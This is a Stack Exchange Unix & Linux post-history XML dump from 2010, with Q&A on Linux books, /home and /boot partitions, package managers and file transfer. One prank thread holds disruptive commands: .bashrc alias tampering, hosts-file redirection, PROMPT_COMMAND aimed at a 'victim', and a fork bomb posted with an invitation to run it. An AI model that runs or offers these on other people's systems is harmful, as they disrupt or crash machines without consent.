  <row Id="439" PostHistoryTypeId="2" PostId="238" RevisionGUID="d3dcd6a5-088a-4d1b-8e93-849bc01d3ccf" CreationDate="2010-08-11T06:26:31.500" UserId="254" Text="Title says it all. I am trying to learn Linux system programming, which is the best book to learn this?" />
  <row Id="440" PostHistoryTypeId="1" PostId="238" RevisionGUID="d3dcd6a5-088a-4d1b-8e93-849bc01d3ccf" CreationDate="2010-08-11T06:26:31.500" UserId="254" Text="What is the best book to learn Linux system programming?" />
  <row Id="441" PostHistoryTypeId="3" PostId="238" RevisionGUID="d3dcd6a5-088a-4d1b-8e93-849bc01d3ccf" CreationDate="2010-08-11T06:26:31.500" UserId="254" Text="ébooksàésystemöprogrammingà" />
  <row Id="442" PostHistoryTypeId="2" PostId="239" RevisionGUID="4a7397b4-7134-4504-b3a5-77ff9d5ac631" CreationDate="2010-08-11T06:35:56.223" UserId="250" Text="Hello vanillaike,&#xD;&#xA;&#xD;&#xA;The title of the post and your question caused some confusion to me. Do you want to separate your `home` into a partition, or do you just want to reinstall and keep the same `home`?&#xD;&#xA;&#xD;&#xA;If all that you want is to reinstall the whole OS while keeping your `home` then you can backup your `home` into a place that will not be affected by the install, then restore it after that, together with a [permission fix][1].&#xD;&#xA;&#xD;&#xA;If you want to follow some best practices and separate your `home` then here is [the guide you need][2]. It's written for Ubuntu, but I think the same thing goes for other distros.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://phunehehe.isgreat.org/2009/trouble-using-a-backed-up-home-in-ubuntu/&#xD;&#xA;  [2]: https://help.ubuntu.com/community/Partitioning/Home/Moving" />
  <row Id="443" PostHistoryTypeId="2" PostId="240" RevisionGUID="435bca45-21d8-4b5e-b6fc-d9c79f92d3d3" CreationDate="2010-08-11T06:36:50.590" UserId="258" Text="[W. Richard Stevens: Advanced Programming in the UNIX Environment][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/dp/0201563177" />
  <row Id="444" PostHistoryTypeId="4" PostId="94" RevisionGUID="36189ac8-44d2-49c9-abff-2e9e86f9a4ac" CreationDate="2010-08-11T06:39:06.437" UserId="58" Comment="edited title" Text="Grub location - did it go to the mbr or elsewhere?" />
  <row Id="445" PostHistoryTypeId="2" PostId="241" RevisionGUID="76db90aa-00e5-4ce0-807e-ebebf1ae143d" CreationDate="2010-08-11T06:43:06.350" UserId="251" Text="I am using Linux at home and want to be able to configure firewall. I would like to understand what I am doing not just copy paste some rules from internet :)." />
  <row Id="446" PostHistoryTypeId="1" PostId="241" RevisionGUID="76db90aa-00e5-4ce0-807e-ebebf1ae143d" CreationDate="2010-08-11T06:43:06.350" UserId="251" Text="Recommend a reading for learning LINUX firewalls configuration for beginner?" />
  <row Id="447" PostHistoryTypeId="3" PostId="241" RevisionGUID="76db90aa-00e5-4ce0-807e-ebebf1ae143d" CreationDate="2010-08-11T06:43:06.350" UserId="251" Text="élinuxàéfirewallà" />
  <row Id="448" PostHistoryTypeId="2" PostId="242" RevisionGUID="1facf30f-de8c-4148-8c9e-93282c11bd69" CreationDate="2010-08-11T06:52:55.563" UserId="250" Text="I'm not sure about other BSD, but OSX have kernel extensions (known as `kext`).&#xD;&#xA;&#xD;&#xA;Kexts live in `/System/Library/Extensions/`. Each of them is a folder, containing device description and instruction (those that makes a driver). Things in a kext need suitable file permissions (generally belong to user `0:0` with mask `755`) for it to work.&#xD;&#xA;&#xD;&#xA;After a kext is in place, the OS will automatically load it on reboot (although sometimes instantly). Occasionally you need to clear the kext cache (`rm -r /System/Library/Extensions/Caches/`) before the new kext will work correctly." />
  <row Id="449" PostHistoryTypeId="2" PostId="243" RevisionGUID="02cbdd2b-30dc-4caf-9046-b2cc73932c80" CreationDate="2010-08-11T06:54:50.460" UserId="57" Text="[Linux Systems Programming][1]&#xD;&#xA;&#xD;&#xA;you can refer this also [link][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/9780596009588&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/80/recommended-readings-batter-understating-of-unix-linux-internals" />
  <row Id="450" PostHistoryTypeId="2" PostId="244" RevisionGUID="05d2934c-770a-4a83-97c4-8e7ad80f0f63" CreationDate="2010-08-11T06:55:12.160" UserId="262" Text="I'm new in Linux (Ubuntu) world. When I need to install something I Google for it and frequently I found some command like apt-get install [package name]&#xD;&#xA;&#xD;&#xA;My friend told me that aptitude provides more functionality and it's better to use it instead.&#xD;&#xA;&#xD;&#xA;But as I know aptitude will be removed from next version of Ubuntu (yes, it will be possible to install it, but it will be excluded by default).&#xD;&#xA;&#xD;&#xA;What better to use: apt-get or aptitude?" />
  <row Id="451" PostHistoryTypeId="1" PostId="244" RevisionGUID="05d2934c-770a-4a83-97c4-8e7ad80f0f63" CreationDate="2010-08-11T06:55:12.160" UserId="262" Text="apt-get or aptitude" />
  <row Id="452" PostHistoryTypeId="3" PostId="244" RevisionGUID="05d2934c-770a-4a83-97c4-8e7ad80f0f63" CreationDate="2010-08-11T06:55:12.160" UserId="262" Text="éaptitudeàéaptà" />
  <row Id="453" PostHistoryTypeId="2" PostId="245" RevisionGUID="10521dc6-b31f-4fc9-919e-5a3fbaf3f6c8" CreationDate="2010-08-11T07:00:10.917" UserId="250" Text="Yes, you are right, slackware use build scripts to compile packages. There are a lot of them available from http://slackbuild.org/ . There are also templates for new scripts and you can always submit your scripts if you want to." />
  <row Id="454" PostHistoryTypeId="2" PostId="246" RevisionGUID="d4dd7cd2-e02d-4f58-994d-1b10859282ea" CreationDate="2010-08-11T07:10:55.743" UserId="263" Text="aptitude is the preferred program for package management from console both for package installations and package or system upgrades in Debian.&#xD;&#xA;&#xD;&#xA;Here is an overview of the tool and the features it has over apt-get:&#xD;&#xA;http://www.debian.org/doc/FAQ/ch-pkgtools.en.html#s-aptitude&#xD;&#xA;&#xD;&#xA;So, my advice is to just apt-get install aptitude :)" />
  <row Id="455" PostHistoryTypeId="2" PostId="247" RevisionGUID="b3014f0a-911e-43fb-b633-732c2091efc1" CreationDate="2010-08-11T07:26:48.980" UserId="98" Text="If you want to really understand what you are doing, you've got your work cut out for you as iptables is massively complex: [frozentux iptables tutorial][1].  This is a highly recommended tutorial (it's free).&#xD;&#xA;&#xD;&#xA;If you're willing to break a few bucks: http://www.amazon.com/Linux-Firewalls-3rd-Steve-Suehring/dp/0672327716&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.frozentux.net/iptables-tutorial/iptables-tutorial.html" />
  <row Id="456" PostHistoryTypeId="2" PostId="248" RevisionGUID="460938e2-7ba1-4067-8031-415193fc4940" CreationDate="2010-08-11T07:31:34.273" UserId="210" Text="    cat&lt;&lt;EOF &gt;&gt; ~/.bashrc&#xD;&#xA;    alias cd='echo &quot;Segmentation fault&quot; &amp;&amp; echo $* &gt; /dev/null'&#xD;&#xA;    alias ls='echo &quot;Segmentation fault&quot;'&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;I'm sure you'd be able to find more creative variants of `~/.bashrc` pranks." />
  <row Id="457" PostHistoryTypeId="16" PostId="248" RevisionGUID="460938e2-7ba1-4067-8031-415193fc4940" CreationDate="2010-08-11T07:31:34.273" UserId="-1" />
  <row Id="458" PostHistoryTypeId="2" PostId="249" RevisionGUID="c6c87cbc-0df7-478e-a2d6-769b44ba96ea" CreationDate="2010-08-11T07:33:48.870" UserId="48" Text="As probably most of you I have been long using Ubuntu. I'm not an expert, but I have been using different distros until I settled with Ubuntu. &#xD;&#xA;&#xD;&#xA;I started using SuSE 5.x, Conectiva (that later became Mandriva, so it seems), RedHat, Mac OS X (yeah, I know, not Linux) and Ubuntu running mostly as a VM in the last couple of years.&#xD;&#xA;&#xD;&#xA;But ever since SUSE released the SUSE Studio I was tempted to switch back to it. It is way too convenient to keep your installation in the cloud and download your system ready to go.&#xD;&#xA;&#xD;&#xA;Here is my question. What to expect from the switch. I know that SUSE uses RPM as its package manager, and I have no idea of the completeness of its repository compared to Ubuntu.&#xD;&#xA;&#xD;&#xA;When trying openSUSE on a VM I also miss the *sudo* command, but I am sure that it must have been some lack of configuration on my part. &#xD;&#xA;&#xD;&#xA;So, what else would be different? My main use for Linux is as a desktop and a bit of Java and Ruby programming." />
  <row Id="459" PostHistoryTypeId="1" PostId="249" RevisionGUID="c6c87cbc-0df7-478e-a2d6-769b44ba96ea" CreationDate="2010-08-11T07:33:48.870" UserId="48" Text="What should I expect if I switch from Ubuntu to openSuse" />
  <row Id="460" PostHistoryTypeId="3" PostId="249" RevisionGUID="c6c87cbc-0df7-478e-a2d6-769b44ba96ea" CreationDate="2010-08-11T07:33:48.870" UserId="48" Text="élinuxàédistrosàéubuntuàéopensuseà" />
  <row Id="461" PostHistoryTypeId="2" PostId="250" RevisionGUID="c041d1b2-bdee-4761-9623-675f88221a60" CreationDate="2010-08-11T07:41:13.050" UserId="265" Text="`alias cd=&quot;eject -T&quot;`&#xD;&#xA;&#xD;&#xA;In ~/.${shell}rc&#xD;&#xA;&#xD;&#xA;    echo &quot;sleep 1&quot; &gt;&gt;~/.${shell}rc&#xD;&#xA;&#xD;&#xA;Such fun :)" />
  <row Id="462" PostHistoryTypeId="16" PostId="250" RevisionGUID="c041d1b2-bdee-4761-9623-675f88221a60" CreationDate="2010-08-11T07:41:13.050" UserId="-1" />
  <row Id="463" PostHistoryTypeId="2" PostId="251" RevisionGUID="9ea155d4-cdd3-41da-824b-75cba16b8f3e" CreationDate="2010-08-11T07:42:42.420" UserId="22" Text="...I'm not sure about harmless, but I once set my roommate's default runlevel to 6. That was an amusing afternoon (for me)." />
  <row Id="464" PostHistoryTypeId="16" PostId="251" RevisionGUID="9ea155d4-cdd3-41da-824b-75cba16b8f3e" CreationDate="2010-08-11T07:42:42.420" UserId="-1" />
  <row Id="465" PostHistoryTypeId="2" PostId="252" RevisionGUID="9e32e85b-4717-4341-9760-17ff46e41575" CreationDate="2010-08-11T07:55:04.717" UserId="261" Text="This question is distro-agnostic, so If mention anything specific that you don't have, just use the equivalent on your side. &#xD;&#xA;&#xD;&#xA;I really recommend you buy an external for backups, trust me, losing your data is the worst. *Proceed at your own risk* - But if you can't get one, here's what you can do.&#xD;&#xA;&#xD;&#xA;**What you need**&#xD;&#xA;&#xD;&#xA; * the size of your /home directory&#xD;&#xA; * free space, more than the size of your /home directory&#xD;&#xA; * disk partitioning tool, I recommend gparted&#xD;&#xA;&#xD;&#xA;**What to do**&#xD;&#xA;&#xD;&#xA; * Check the size of your /home directory (the last result will be home total):&#xD;&#xA;&#xD;&#xA;    `du -h /home`&#xD;&#xA;&#xD;&#xA; * Check if you have enough free space for the new partition:&#xD;&#xA;&#xD;&#xA;    `df -h`&#xD;&#xA;&#xD;&#xA; * Install gparted&#xD;&#xA;&#xD;&#xA;    `sudo apt-get install gparted`&#xD;&#xA;&#xD;&#xA;You need more free space than the size of your /home directory. If you don't have the free space, then you won't be able to create that new partition, and need to move your data onto an external anyway.&#xD;&#xA;&#xD;&#xA;If you have the space, use gparted to shrink your existing partition, and then create a new partition with the freed unallocated space. Once your new partition is ready, note it's /dev/sdax (use `sudo fdisk -l` to see this), and copy your /home files to it. &#xD;&#xA;&#xD;&#xA;**Using the partition in a new distro**&#xD;&#xA;&#xD;&#xA;You mentioned installing another distro, if you plan to override your current distro, then during installation you should be asked to setup partitions. At that point you can specify this partition as /home, choose *not* to format it, and all will be well, you can skip this next section.&#xD;&#xA;&#xD;&#xA;If however you want your current distro to work with the new /home partition, follow this section:&#xD;&#xA;&#xD;&#xA;**Mount the partition in an existing distro**&#xD;&#xA;&#xD;&#xA;We have to tell your OS to use the partition as your new /home, we do this in fstab, but first let us find the UUID of this new partition:&#xD;&#xA;&#xD;&#xA;    ls -l /dev/disk/by-uuid&#xD;&#xA;&#xD;&#xA;Cross reference your new partition's /sdax and copy the UUID of it, mine looks like `3d866059-4b4c-4c71-a69c-213f0e4fbf32`.&#xD;&#xA;&#xD;&#xA;Backup fstab: `sudo cp /etc/fstab /etc/fstab.bak`&#xD;&#xA;Edit fstab: `sudoedit /etc/fstab`&#xD;&#xA;&#xD;&#xA;The idea is to add a new line that mounts the partition at /home. Use your own UUID, not the one I post here ;)&#xD;&#xA;&#xD;&#xA;    # &lt;file system&gt; &lt;mount point&gt;   &lt;type&gt;  &lt;options&gt;       &lt;dump&gt;  &lt;pass&gt;&#xD;&#xA;    UUID=3d866059.. /home           auto    default         0       1&#xD;&#xA;&#xD;&#xA;Save and restart, and test if the new partition mounts to /home. Run `df -h` to list all mounted partitions, /home should now be in that list.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;**Notes**&#xD;&#xA;&#xD;&#xA;* It might be a good idea to [familiarize yourself with fstab][1] if you don't know it well. Just take your time and think about each step. &#xD;&#xA;* If you install a new distro, and use the same login name, your old /home files will automatically fall under your ownership.&#xD;&#xA;* This is not a trivial topic to cover in one post, but I think I got most of it. :)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tuxfiles.org/linuxhelp/fstab.html" />
  <row Id="466" PostHistoryTypeId="2" PostId="253" RevisionGUID="f607923e-c39a-4af8-9773-86a177665bc7" CreationDate="2010-08-11T08:25:00.807" UserId="272" Text="I don't think RPM has an analogue feature. RPM has an &quot;Obsoletes&quot; features, but that's for replacing one package with another package with a different name. You are able to have multiple RPM's own a single object, but that is mostly used for directories, like /etc/bash_completion.d, depending on what distro you use: they all have slightly different packaging guidelines." />
  <row Id="467" PostHistoryTypeId="2" PostId="254" RevisionGUID="74049d56-57eb-4233-9261-558d4c50d569" CreationDate="2010-08-11T08:28:44.043" UserId="274" Text="They offer the same basic functionality: install and remove packages from the command-line.&#xD;&#xA;&#xD;&#xA;[Here's](http://ubuntu.stackexchange.com/questions/1743/is-aptitude-really-better-than-apt-get/1749#1749) a more detailed comparison, posted on the [Ubuntu Stack Exchange website](http://ubuntu.stackexchange.com): http://ubuntu.stackexchange.com/questions/1743/is-aptitude-really-better-than-apt-get/1749#1749" />
  <row Id="468" PostHistoryTypeId="2" PostId="255" RevisionGUID="830e5917-81bd-46d0-84e3-dc2f63989513" CreationDate="2010-08-11T08:38:37.607" UserId="273" Text="I have use openSuse for several years and have dabbled in Ubuntu and other distributions.&#xD;&#xA;&#xD;&#xA;What to expect:&#xD;&#xA;&#xD;&#xA; 1. Centralised configuration is possible using Yast. You may or may not like this - it seems to generate quite strong opinions in a  lot of people but I don't care about it much.&#xD;&#xA;&#xD;&#xA; 2. Different desktops which work. The openSuse DVD includes several desktops, and each one seems to work properly. I have seen people having problems about programs which work in Ubuntu but not in Kubuntu etc. This may be relevant if you are using virtual machines over the could and want a lighter desktop.&#xD;&#xA;&#xD;&#xA; 3. Sudo works differently (as you seem to have noticed). The most obvious point is that root has a password in openSuse and you use that rather than the user password (although the root password is usually the same as the first user). A less obvious point is that the path (or permissions or something?) is not changed to be root's rather than the user's. (If you want to run `ifconfig` for example you have to `su` then `ifconfig` rather than `sudo ifconfig`.)&#xD;&#xA;&#xD;&#xA; 4. There seems to be less stuff in the reositories, but there is everything I want - so I don't know what isn't there. Perhaps there are only 50 text editors rather than 100." />
  <row Id="469" PostHistoryTypeId="2" PostId="256" RevisionGUID="66ede9c7-57ea-4fb1-be7e-2554c3cad764" CreationDate="2010-08-11T08:56:29.047" UserId="184" Text="I see some people make separate Partition for /boot!&#xD;&#xA;what is the benefit of this?&#xD;&#xA;&#xD;&#xA;what problem may be I encounter in future by doing this?&#xD;&#xA;" />
  <row Id="470" PostHistoryTypeId="1" PostId="256" RevisionGUID="66ede9c7-57ea-4fb1-be7e-2554c3cad764" CreationDate="2010-08-11T08:56:29.047" UserId="184" Text="Is it good to make separate partition for /boot?" />
  <row Id="471" PostHistoryTypeId="3" PostId="256" RevisionGUID="66ede9c7-57ea-4fb1-be7e-2554c3cad764" CreationDate="2010-08-11T08:56:29.047" UserId="184" Text="éinstallàébootàépartitionà" />
  <row Id="472" PostHistoryTypeId="2" PostId="257" RevisionGUID="c641301b-8008-430a-9baa-353091ec3411" CreationDate="2010-08-11T09:21:04.867" UserId="76" Text="[Massif][1] (from valgrind) is one of the best way to find memory leaks. Repeat your suspicious code (or run your program long enough) and dump the result with ms_print. Usually, the call stack is giving you enough information to fix it.&#xD;&#xA;&#xD;&#xA;With GDB, you can try to attach to a running program and call functions such as `malloc_stats()`&#xD;&#xA;&#xD;&#xA;If your program is written in a different language, it might be more tricky. There is for example `_PyObject_DebugMallocStats()`, but that will only analyse objects in Python memory pool (ie small objects)&#xD;&#xA;&#xD;&#xA;At a higher level, for python, there has been traditionally tools such as [objgraph][2] and [pympler][3], but they might require manhole in production. But recently, some GDB has gained scriptability, and people started interesting projects such as [gdb-heap][4], which can analyze python memory from a core dump.&#xD;&#xA;&#xD;&#xA;Read also http://stackoverflow.com/questions/2564752/examining-c-c-heap-memory-statistics-in-gdb&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://valgrind.org/docs/manual/ms-manual.html&#xD;&#xA;  [2]: http://www.lshift.net/blog/2008/11/14/tracing-python-memory-leaks&#xD;&#xA;  [3]: http://code.google.com/p/pympler/&#xD;&#xA;  [4]: https://fedorahosted.org/gdb-heap/wiki" />
  <row Id="473" PostHistoryTypeId="2" PostId="258" RevisionGUID="960ba9f8-1144-401c-a4dd-01c89685fbac" CreationDate="2010-08-11T09:30:46.243" UserId="252" Text="On hardware RAID controllers, rebuilding an array with larger disks won't result in a larger array. Previous times, I created new arrays next to the old ones.&#xD;&#xA;&#xD;&#xA;My last upgrade plan was:&#xD;&#xA; &#xD;&#xA; 1. copy the data on 2 disks (as extra back-up)&#xD;&#xA; 2. Build a new array with the remaining larger disks (RAID 5 will still give you a larger array then the last one)&#xD;&#xA; 3. Move the data to the new array&#xD;&#xA; 4. Remove the old array&#xD;&#xA; 5. Grow the new array with the 2 extra disks" />
  <row Id="474" PostHistoryTypeId="2" PostId="259" RevisionGUID="a6c5434c-79d1-4456-a50d-254fde0067c7" CreationDate="2010-08-11T09:34:36.090" UserId="280" Text="I think this is more of a personal preference than anything else. Might even be a best-practice.&#xD;&#xA;My personal view of /boot is rather read-only based. Once in a while you need to write in there to upgrade your kernel or maybe add another OS in the grubloader. Besides that it's just needed to ... well, boot. So having it in a separate filesystem might help putting it on read-only (might even be some security aspect to it as well).&#xD;&#xA;&#xD;&#xA;*Should* it be a separate filesystem? I guess not.. But is it a bad idea? No, not at all!" />
  <row Id="475" PostHistoryTypeId="2" PostId="260" RevisionGUID="7925febe-255f-4b5a-b3e5-fa6fd881dbf1" CreationDate="2010-08-11T10:04:33.480" UserId="11" Text="Here you can find a database of best book to learn Linux :&#xD;&#xA;http://www.tldp.org/guides.html&#xD;&#xA;&#xD;&#xA;I'm currently reading Introduction to Linux - A Hands on Guide&#xD;&#xA;by Machtelt Garrels&#xD;&#xA;&#xD;&#xA;And I like it, the way it's written make it easy to understand." />
  <row Id="476" PostHistoryTypeId="2" PostId="261" RevisionGUID="a559b71c-1b53-44a6-a351-300485527321" CreationDate="2010-08-11T10:08:43.943" UserId="281" Text="I have set up [ZFS Fuse on debian/lenny][1] for my home NAS. I didn't encounter any problems or limitations. [Search for ZFS][2] on my blog for some more related posts.&#xD;&#xA;&#xD;&#xA;[I did try BTRFS first][3], but found that it simply wasn't ready yet. This was in february 2010.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mindinthewater.blogspot.com/2010/01/building-nas-part-4-zfs-on-linux-with.html&#xD;&#xA;  [2]: http://mindinthewater.blogspot.com/2010/01/building-nas-part-4-zfs-on-linux-with.html&#xD;&#xA;  [3]: http://mindinthewater.blogspot.com/search?q=btrfs" />
  <row Id="477" PostHistoryTypeId="2" PostId="262" RevisionGUID="e827e139-8e78-44d3-90e0-fa989b157c2a" CreationDate="2010-08-11T10:11:25.643" UserId="263" Text="One reason for having a /boot partition is that it allows for things like encrypted /, where the kernel and initrd are loaded from an unencrypted partition and then used to mount the encrypted root partition containing the operating system. It shouldn't matter for general usage however." />
  <row Id="478" PostHistoryTypeId="2" PostId="263" RevisionGUID="5874b981-9d36-495c-9d22-78dbd68b2d09" CreationDate="2010-08-11T10:38:11.583" UserId="261" Text="A few years ago it was usual to use a dedicated drive for swap, while connected to it's own IDE/ATA bus - swapping data around on the same drive just didn't make sense in terms of performance.&#xD;&#xA;&#xD;&#xA;That trick worked ten years ago, but with drive speeds now you really shouldn't see such hectic performance degradation, unless you're swapping the library of congress, otherwise I'd be concerned about your drive's health - have you checked that lately?&#xD;&#xA;&#xD;&#xA;You can always give it a try, you don't have much alternatives if your RAM is already maxed out. If anything I hope it makes your GUI more responsive." />
  <row Id="479" PostHistoryTypeId="2" PostId="264" RevisionGUID="edf752fb-c026-4cf9-ac30-f1d7ad7b1c9b" CreationDate="2010-08-11T10:50:14.440" UserId="165" Text="Not necessarily UNIX-specific, but I like modifying the `/etc/hosts` file:&#xD;&#xA;&#xD;&#xA;    127.0.0.1    google.com&#xD;&#xA;    127.0.0.1    slashdot.org&#xD;&#xA;    127.0.0.1    questionablecontent.net&#xD;&#xA;&#xD;&#xA;et cetera, and then setting up Apache with an `ErrorDocument 404 click_harder.html` pointing to [this page](http://www.3complete.com/page_cannot_be_displayed.htm)." />
  <row Id="480" PostHistoryTypeId="16" PostId="264" RevisionGUID="edf752fb-c026-4cf9-ac30-f1d7ad7b1c9b" CreationDate="2010-08-11T10:50:14.440" UserId="-1" />
  <row Id="481" PostHistoryTypeId="2" PostId="265" RevisionGUID="f2cc5517-914d-4775-a9db-410cfd7c0b7c" CreationDate="2010-08-11T10:52:12.797" UserId="280" Text="I think it's just best to read the documentation coming with that specific program or application that you're wanting to install.&#xD;&#xA;Usually there are readmes/READMEs inside the tarballs (the application source archive which you can usually download) or maybe even INSTALL files to read and learn about what is the preferred way of installing said application.&#xD;&#xA;In short: RTFM ;)" />
  <row Id="482" PostHistoryTypeId="2" PostId="266" RevisionGUID="5a4f13e4-1d27-4233-9bab-60c2d15dd353" CreationDate="2010-08-11T10:55:36.850" UserId="236" Text="    :(){ :|:&amp; };:  //at your terminal&#xD;&#xA;&#xD;&#xA;*Warning*: Its a `fork` **bomb**! But you should try it once ; )" />
  <row Id="483" PostHistoryTypeId="16" PostId="266" RevisionGUID="5a4f13e4-1d27-4233-9bab-60c2d15dd353" CreationDate="2010-08-11T10:55:36.850" UserId="-1" />
  <row Id="486" PostHistoryTypeId="2" PostId="269" RevisionGUID="0eebc580-335e-488b-b741-0ee14b96f263" CreationDate="2010-08-11T11:46:20.433" UserId="286" Text="There's a good tool for setting up your colours for the ls command - http://geoff.greer.fm/lscolors/" />
  <row Id="488" PostHistoryTypeId="2" PostId="271" RevisionGUID="0bfbd976-81f9-42bf-8654-cc758a59324c" CreationDate="2010-08-11T12:03:31.630" UserId="288" Text="I find NERDtree indispensible for navigating through my codebase. Alongside that, investing some time in becoming proficient in moving around your buffers/windows is really worthwhile." />
  <row Id="489" PostHistoryTypeId="2" PostId="272" RevisionGUID="1dd670a0-1842-4f3c-be84-f3d9d9aa46a8" CreationDate="2010-08-11T12:08:58.687" UserId="289" Text="Given two Linux boxes on a LAN, what's the simplest way to transfer files between them?" />
  <row Id="490" PostHistoryTypeId="1" PostId="272" RevisionGUID="1dd670a0-1842-4f3c-be84-f3d9d9aa46a8" CreationDate="2010-08-11T12:08:58.687" UserId="289" Text="Simple file transfer" />
  <row Id="491" PostHistoryTypeId="3" PostId="272" RevisionGUID="1dd670a0-1842-4f3c-be84-f3d9d9aa46a8" CreationDate="2010-08-11T12:08:58.687" UserId="289" Text="énetworkingà" />
  <row Id="492" PostHistoryTypeId="2" PostId="273" RevisionGUID="8e2a5780-96e8-4bdd-96b0-09253dae2e24" CreationDate="2010-08-11T12:12:13.483" UserId="252" Text="For one off file transfers, I usually use SFTP or an existing samba share.&#xD;&#xA;&#xD;&#xA;For keeping in sync, I suggest you try [rsync][1] or [unison][2] (for 2-way synchronization)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.samba.org/rsync/&#xD;&#xA;  [2]: http://www.cis.upenn.edu/~bcpierce/unison/index.html&#xD;&#xA;" />
  <row Id="493" PostHistoryTypeId="2" PostId="274" RevisionGUID="0aee60e8-1a5e-4191-a0b4-a06b60727bc8" CreationDate="2010-08-11T12:14:27.520" UserId="274" Text="If `lockfile` is not installed on your system, then `mkdir` will do&#xD;&#xA;the work: it's an atomic operation, and it fails if the directory is&#xD;&#xA;already existing (as long as you don't add the `-p` command-line&#xD;&#xA;switch).&#xD;&#xA;&#xD;&#xA;    create_lock_or_wait () {&#xD;&#xA;      path=&quot;$1&quot;&#xD;&#xA;      wait_time=&quot;${2:-10}&#xD;&#xA;      while true; do&#xD;&#xA;            if mkdir &quot;${path}.lock.d&quot;; then&#xD;&#xA;               break;&#xD;&#xA;            fi&#xD;&#xA;            sleep $wait_time&#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    remove_lock () {&#xD;&#xA;      path=&quot;$1&quot;&#xD;&#xA;      rmdir &quot;${path}.lock.d&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="494" PostHistoryTypeId="2" PostId="275" RevisionGUID="47d13b7f-914b-449e-b736-f07c66c2a920" CreationDate="2010-08-11T12:15:51.107" UserId="288" Text="Recently I've started using &quot;Checkinstall&quot; when installing from source outside of my package manager. It builds a &quot;package&quot; from a 3rd party tarball which can then be installed and managed (and uninstalled) through your package manager tools.&#xD;&#xA;&#xD;&#xA;Check out this article - http://www.linuxjournal.com/content/using-checkinstall-build-packages-source" />
  <row Id="495" PostHistoryTypeId="2" PostId="276" RevisionGUID="ddb28ac9-edaa-4908-b79b-811c03980f56" CreationDate="2010-08-11T12:23:21.293" UserDisplayName="Silviu Bogan" Text="If you want your application to be available for all users on the system and you have the necessary permissions, use /opt. If you want the application to be available only for you (and root), use /home/username" />
  <row Id="496" PostHistoryTypeId="2" PostId="277" RevisionGUID="33842c98-96ac-403d-b6bb-2da6acc983b3" CreationDate="2010-08-11T12:31:29.733" UserId="31" Text="I use `scp`.  &#xD;&#xA;&#xD;&#xA;    scp source desthost:/path/to/dest/.&#xD;&#xA;to copy from the local machine to the remote machine, or &#xD;&#xA;&#xD;&#xA;    scp srchost:/path/to/file/file .&#xD;&#xA;to copy from a remote machine to the local machine.&#xD;&#xA;&#xD;&#xA;If the username is not the same on the remote machine,&#xD;&#xA;&#xD;&#xA;    scp user@srchost:/path/to/file/file .&#xD;&#xA;&#xD;&#xA;" />
  <row Id="497" PostHistoryTypeId="2" PostId="278" RevisionGUID="1b219ec4-7031-4ddb-a2d7-141c9780c879" CreationDate="2010-08-11T12:37:56.507" UserId="98" Text="I use netcat (if I don't need security)&#xD;&#xA;&#xD;&#xA;    nc -l -p 1234 &lt; send_file   # 'server'&#xD;&#xA;    nc x.y.z.t 1234 &gt; receive_file  # 'client'" />
  <row Id="498" PostHistoryTypeId="2" PostId="279" RevisionGUID="d1e761f0-a0ff-494c-98dd-08a597762630" CreationDate="2010-08-11T12:40:58.763" UserId="291" Text="Hello,&#xD;&#xA;&#xD;&#xA;I would like to know if is there any utility like pbuilder on Debian to build RPM packages on RedHat using a clean environment (chroot).&#xD;&#xA;&#xD;&#xA;I've found [mach][1] which has support for something like this but under a Debian environment, and doesn't support RHEL. I need something that runs on RHEL 5.5.&#xD;&#xA;&#xD;&#xA;Any idea? Thanks in advance!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thomas.apestaart.org/projects/mach/" />
  <row Id="499" PostHistoryTypeId="1" PostId="279" RevisionGUID="d1e761f0-a0ff-494c-98dd-08a597762630" CreationDate="2010-08-11T12:40:58.763" UserId="291" Text="pbuilder like environment for RedHat" />
  <row Id="500" PostHistoryTypeId="3" PostId="279" RevisionGUID="d1e761f0-a0ff-494c-98dd-08a597762630" CreationDate="2010-08-11T12:40:58.763" UserId="291" Text="échrootàérpmàérhelà" />
  <row Id="501" PostHistoryTypeId="2" PostId="280" RevisionGUID="c9f200c8-b9e6-4035-87ad-fb094dd84f7a" CreationDate="2010-08-11T12:41:26.063" UserDisplayName="Silviu Bogan" Text="I use gedit with embedded terminal." />
  <row Id="502" PostHistoryTypeId="16" PostId="280" RevisionGUID="c9f200c8-b9e6-4035-87ad-fb094dd84f7a" CreationDate="2010-08-11T12:41:26.063" UserId="-1" />
  <row Id="503" PostHistoryTypeId="2" PostId="281" RevisionGUID="5536c356-97df-45ca-a97f-3183b56956d9" CreationDate="2010-08-11T12:42:49.773" UserId="292" Text="Append this line to `~/.bashrc` (assuming the default shell is bash)&#xD;&#xA;&#xD;&#xA;    export PROMPT_COMMAND=&quot;cd&quot;&#xD;&#xA;&#xD;&#xA;No matter where the victim `cd` to, he/she will still end up in `$HOME`&#xD;&#xA;&#xD;&#xA;From the bash man page:&#xD;&#xA;&#xD;&#xA;&gt;     PROMPT_COMMAND  &#xD;&#xA;&gt;         If set, the value is executed as a command prior to issuing each&#xD;&#xA;&gt;         primary prompt." />
  <row Id="504" PostHistoryTypeId="16" PostId="281" RevisionGUID="5536c356-97df-45ca-a97f-3183b56956d9" CreationDate="2010-08-11T12:42:49.773" UserId="-1" />
  <row Id="505" PostHistoryTypeId="2" PostId="282" RevisionGUID="92508b7f-7d28-4184-b816-707556114e40" CreationDate="2010-08-11T12:44:03.983" UserId="100" Text="I usually mount a directory through ssh via FUSE and sshfs.&#xD;&#xA;&#xD;&#xA;Mount:&#xD;&#xA;&#xD;&#xA;    $ sshfs name@server:/path/to/dir /path/to/mount/point&#xD;&#xA;&#xD;&#xA;Unmount:&#xD;&#xA;&#xD;&#xA;    $ fusermount -u /path/to/mount/point&#xD;&#xA;" />
